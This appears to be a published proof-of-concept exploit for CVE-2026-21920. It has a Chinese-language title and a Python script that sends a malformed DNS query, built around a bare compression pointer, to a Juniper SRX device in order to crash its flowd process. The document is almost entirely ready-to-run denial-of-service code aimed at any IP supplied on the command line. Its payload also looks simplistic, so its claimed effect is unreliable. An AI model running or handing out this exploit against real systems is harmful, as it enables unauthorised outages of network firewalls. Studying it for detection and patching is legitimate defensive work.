CVE-2026-21920: Juniper Junos OS SRX系列DNS模块未检查返回值漏洞导致拒绝服务

#!/usr/bin/env python3 # CVE-2026-21920 PoC - Juniper Junos OS DNS Module DoS # Target: Juniper SRX Series devices with DNS processing enabled # This PoC sends a malformed DNS request to trigger the unchecked return value vulnerability import socket import struct import random import sys def create_malformed_dns_request(): """Create a malformed DNS request that triggers the vulnerability""" # DNS Header transaction_id = random.randint(0, 65535) flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 dns_header = struct.pack('>HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs ) # Malformed DNS query - using specific domain pattern # The vulnerability is triggered by specific DNS request format domain = b'\xc0\x0c' # Compression pointer to trigger parsing issue qtype = struct.pack('>H', 1) # Type A qclass = struct.pack('>H', 1) # Class IN dns_query = dns_header + domain + qtype + qclass return dns_query def send_dns_exploit(target_ip, target_port=53): """Send the exploit DNS request to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_malformed_dns_request() print(f"[*] Sending malformed DNS request to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") sock.sendto(payload, (target_ip, target_port)) print("[+] Malformed DNS request sent successfully") print("[!] Target flowd process should crash and restart") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-21920.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 53 print("=" * 60) print("CVE-2026-21920 - Juniper Junos OS DNS Module DoS PoC") print("=" * 60) send_dns_exploit(target, port)